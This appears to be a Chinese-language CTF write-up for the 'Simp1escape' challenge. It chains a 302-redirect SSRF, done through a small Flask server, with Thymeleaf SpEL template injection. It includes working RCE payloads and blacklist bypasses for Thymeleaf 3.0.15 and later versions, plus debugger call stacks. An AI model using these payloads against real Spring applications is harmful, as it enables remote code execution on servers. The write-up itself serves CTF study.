Simp1escape

题目有一个curl路由,允许访问url,但只能用http或者https协议,这里可以用302来ssrf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@RequestMapping({"/curl"})
public String curl(@RequestParam String url, HttpServletRequest request, HttpServletResponse response) throws Exception {
if (!url.startsWith("http:") && !url.startsWith("https:")) {
System.out.println(url.startsWith("http"));
return "No protocol: " + url;
} else {
URL urlObject = new URL(url);
String result = "";
String hostname = urlObject.getHost();
if (hostname.indexOf("../") != -1) {
return "Illegal hostname";
} else {
InetAddress inetAddress = InetAddress.getByName(hostname);
if (Utils.isPrivateIp(inetAddress)) {
return "Illegal ip address";
} else {
...
}
}
}
}

302 ssrf

可以起一个flask用来跳转即可,或者用在线的https://requestrepo.com/

1
2
3
4
5
6
7
8
9
10
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('http://127.0.0.1:8081/getsites?hostname=www.baidu.com', code=301)

if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0", port=8888)

由此可以ssrf到他的/getsites路由

thymeleaf RCE

继续看/getsites

1
2
3
4
5
6
7
8
9
10
11
12
13
@GetMapping({"/getsites"})
public String admin(@RequestParam String hostname, HttpServletRequest request, HttpServletResponse response) throws Exception {
String ipAddress = request.getRemoteAddr();
if (!ipAddress.equals("127.0.0.1")) {
response.setStatus(HttpStatus.FORBIDDEN.value());
return "forbidden";
} else {
Context context = new Context();
TemplateEngine engine = new SpringTemplateEngine();
String dispaly = engine.process(hostname, context);
return dispaly;
}
}

首先这里可控hostname,也就是engine.process的第一个参数,org.thymeleaf.TemplateEngine#process(java.lang.String, org.thymeleaf.context.IContext)

这个process是用来对模板进行渲染的,会通过模板名字来获取模板内容,再进行渲染,第一个参数也就是模板名字,但由于这里使用的是new SpringTemplateEngine();,并不是题目spirng中配置的engine,所以这个hostname传模板名字是无法获取到模板的。

虽然获取不到模板,但这里会返回原来的字符串,也就是传入的hostname,然后继续进入thymeleaf渲染流程,模板内容会解析spel

接着是return dispaly,如果能完全可控dispaly,并且可控模板内容,那么这里同样也会在渲染时解析spel,另外在低版本还存在片段表达式解析的问题,能在渲染前进行spel注入,但这里是高版本。

片段表达式spel注入

return dispaly这里存在片段表达式spel注入风险,如果是低版本的话(3.0.11及以前)可以用以下payload,本题版本3.0.15

1
__${T(java.lang.Runtime).getRuntime().exec("calc")}__::

模板渲染spel注入

我们通过curl路由可以向模板目录下写文件,并且我们可控视图名,从而可控模板内容,可以在渲染时进行spel解析

3.0.15 版本( 3.0.x 的最后一个版本), Thymeleaf 加强了 SpringStandardExpressionUtils.containsSpELInstantiationOrStaticOrParam() 方法。但是这个方法还是可以被绕过。

这个方法和 3.0.12 版本的逻辑差不多,不过这里加强了 T( 之间空格的检测(具体逻辑在 SpringStandardExpressionUtils.isPreviousStaticMarker() 方法中),导致前面的空格绕过在这里行不通。

1
[[${__${new.java.lang.ProcessBuilder('calc').start()}__}]]

engine.process(hostname, context);这里的hostname最终也会进行渲染(尽管TemplateEngine不同),都能打通,这里就不受前面的限制,直接裸的spel就能打通

1
2
3
[[${T(java.lang.Runtime).getRuntime().exec("calc")}]]

[[${__${new.java.lang.ProcessBuilder('calc').start()}__}]]

调试发现是因为这里的TemplateEngine是用的一个新的,没有走进ThymeleafEvaluationContext中,而是StandardTypeLocator,也就没有类加载的黑名单限制,所以能打通,调用栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
findType:101, StandardTypeLocator (org.springframework.expression.spel.support)
findType:155, ExpressionState (org.springframework.expression.spel)
getValueInternal:69, TypeReference (org.springframework.expression.spel.ast)
getValueRef:55, CompoundExpression (org.springframework.expression.spel.ast)
getValueInternal:91, CompoundExpression (org.springframework.expression.spel.ast)
getValue:112, SpelNodeImpl (org.springframework.expression.spel.ast)
getValue:338, SpelExpression (org.springframework.expression.spel.standard)
evaluate:265, SPELVariableExpressionEvaluator (org.thymeleaf.spring5.expression)
executeVariableExpression:166, VariableExpression (org.thymeleaf.standard.expression)
executeSimple:66, SimpleExpression (org.thymeleaf.standard.expression)
execute:109, Expression (org.thymeleaf.standard.expression)
execute:138, Expression (org.thymeleaf.standard.expression)
doProcess:144, AbstractStandardExpressionAttributeTagProcessor (org.thymeleaf.standard.processor)
doProcess:74, AbstractAttributeTagProcessor (org.thymeleaf.processor.element)
process:95, AbstractElementTagProcessor (org.thymeleaf.processor.element)
process:633, ProcessorConfigurationUtils$ElementTagProcessorWrapper (org.thymeleaf.util)
handleOpenElement:1314, ProcessorTemplateHandler (org.thymeleaf.engine)
handleOpenElementEnd:304, TemplateHandlerAdapterMarkupHandler (org.thymeleaf.engine)
handleOpenElementEnd:278, InlinedOutputExpressionMarkupHandler$InlineMarkupAdapterPreProcessorHandler (org.thymeleaf.templateparser.markup)
performInlining:440, OutputExpressionInlinePreProcessorHandler (org.thymeleaf.standard.inline)
handleText:146, OutputExpressionInlinePreProcessorHandler (org.thymeleaf.standard.inline)
handleText:80, InlinedOutputExpressionMarkupHandler (org.thymeleaf.templateparser.markup)
handleText:208, HtmlMarkupHandler (org.attoparser)
handleText:203, AbstractChainedMarkupHandler (org.attoparser)
parseDocument:370, MarkupParser (org.attoparser)
parse:257, MarkupParser (org.attoparser)
parse:230, AbstractMarkupTemplateParser (org.thymeleaf.templateparser.markup)
parseStandalone:100, AbstractMarkupTemplateParser (org.thymeleaf.templateparser.markup)
parseAndProcess:666, TemplateManager (org.thymeleaf.engine)
process:1098, TemplateEngine (org.thymeleaf)
process:1059, TemplateEngine (org.thymeleaf)
process:1048, TemplateEngine (org.thymeleaf)
admin:23, AdminController (com.example.controller)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
doInvoke:205, InvocableHandlerMethod (org.springframework.web.method.support)
invokeForRequest:150, InvocableHandlerMethod (org.springframework.web.method.support)
invokeAndHandle:117, ServletInvocableHandlerMethod (org.springframework.web.servlet.mvc.method.annotation)
invokeHandlerMethod:895, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation)
handleInternal:808, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation)
handle:87, AbstractHandlerMethodAdapter (org.springframework.web.servlet.mvc.method)
doDispatch:1070, DispatcherServlet (org.springframework.web.servlet)
doService:963, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doGet:898, FrameworkServlet (org.springframework.web.servlet)
service:655, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:764, HttpServlet (javax.servlet.http)
internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:100, RequestContextFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:93, FormContentFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:541, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:360, CoyoteAdapter (org.apache.catalina.connector)
service:399, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:890, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1789, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:750, Thread (java.lang)

正常流程的调用栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
findType:186, ThymeleafEvaluationContext$ThymeleafEvaluationContextACLTypeLocator (org.thymeleaf.spring5.expression)
findType:155, ExpressionState (org.springframework.expression.spel)
getValueInternal:69, TypeReference (org.springframework.expression.spel.ast)
getValueRef:55, CompoundExpression (org.springframework.expression.spel.ast)
getValueInternal:91, CompoundExpression (org.springframework.expression.spel.ast)
getValue:112, SpelNodeImpl (org.springframework.expression.spel.ast)
getValue:338, SpelExpression (org.springframework.expression.spel.standard)
evaluate:265, SPELVariableExpressionEvaluator (org.thymeleaf.spring5.expression)
executeVariableExpression:166, VariableExpression (org.thymeleaf.standard.expression)
executeSimple:66, SimpleExpression (org.thymeleaf.standard.expression)
execute:109, Expression (org.thymeleaf.standard.expression)
execute:138, Expression (org.thymeleaf.standard.expression)
doProcess:144, AbstractStandardExpressionAttributeTagProcessor (org.thymeleaf.standard.processor)
doProcess:74, AbstractAttributeTagProcessor (org.thymeleaf.processor.element)
process:95, AbstractElementTagProcessor (org.thymeleaf.processor.element)
process:633, ProcessorConfigurationUtils$ElementTagProcessorWrapper (org.thymeleaf.util)
handleOpenElement:1314, ProcessorTemplateHandler (org.thymeleaf.engine)
handleOpenElementEnd:304, TemplateHandlerAdapterMarkupHandler (org.thymeleaf.engine)
handleOpenElementEnd:278, InlinedOutputExpressionMarkupHandler$InlineMarkupAdapterPreProcessorHandler (org.thymeleaf.templateparser.markup)
performInlining:440, OutputExpressionInlinePreProcessorHandler (org.thymeleaf.standard.inline)
handleText:146, OutputExpressionInlinePreProcessorHandler (org.thymeleaf.standard.inline)
handleText:80, InlinedOutputExpressionMarkupHandler (org.thymeleaf.templateparser.markup)
handleText:208, HtmlMarkupHandler (org.attoparser)
handleText:203, AbstractChainedMarkupHandler (org.attoparser)
parseDocument:370, MarkupParser (org.attoparser)
parse:257, MarkupParser (org.attoparser)
parse:230, AbstractMarkupTemplateParser (org.thymeleaf.templateparser.markup)
parseStandalone:100, AbstractMarkupTemplateParser (org.thymeleaf.templateparser.markup)
parseAndProcess:666, TemplateManager (org.thymeleaf.engine)
process:1098, TemplateEngine (org.thymeleaf)
process:1072, TemplateEngine (org.thymeleaf)
renderFragment:366, ThymeleafView (org.thymeleaf.spring5.view)
render:190, ThymeleafView (org.thymeleaf.spring5.view)
render:1404, DispatcherServlet (org.springframework.web.servlet)
processDispatchResult:1148, DispatcherServlet (org.springframework.web.servlet)
doDispatch:1087, DispatcherServlet (org.springframework.web.servlet)
doService:963, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doGet:898, FrameworkServlet (org.springframework.web.servlet)
service:655, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:764, HttpServlet (javax.servlet.http)
internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:100, RequestContextFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:93, FormContentFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:541, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:360, CoyoteAdapter (org.apache.catalina.connector)
service:399, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:890, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1789, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:750, Thread (java.lang)

如果是更高的版本可以用

1
2
3
4
[[${T(java.lang.Boolean).forName("com.fasterxml.jackson.databind.ObjectMapper").newInstance().readValue("{}",T(org.springframework.expression.spel.standard.SpelExpressionParser)).parseExpression("T(Runtime).getRuntime().exec('calc')").getValue()}]]

//这个payload要用springMacroRequestContext对象,没有spring中的TemplateEngine触发不了,因此必须写文件才能打通
[[${springMacroRequestContext.webApplicationContext.beanFactory.createBean(springMacroRequestContext.webApplicationContext.classLoader.loadClass('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}]]

Reference

https://pankas.top/2024/02/12/%E6%8E%A2%E7%B4%A2spring%E4%B8%8Bssti%E9%80%9A%E7%94%A8%E6%96%B9%E6%B3%95/

https://justdoittt.top/2024/03/24/Thymeleaf%E6%BC%8F%E6%B4%9E%E6%B1%87%E6%80%BB/

https://blog.0kami.cn/blog/2024/thymeleaf%20ssti%203.1.2%20%E9%BB%91%E5%90%8D%E5%8D%95%E7%BB%95%E8%BF%87/#0x05

https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery#bypass-via-open-redirect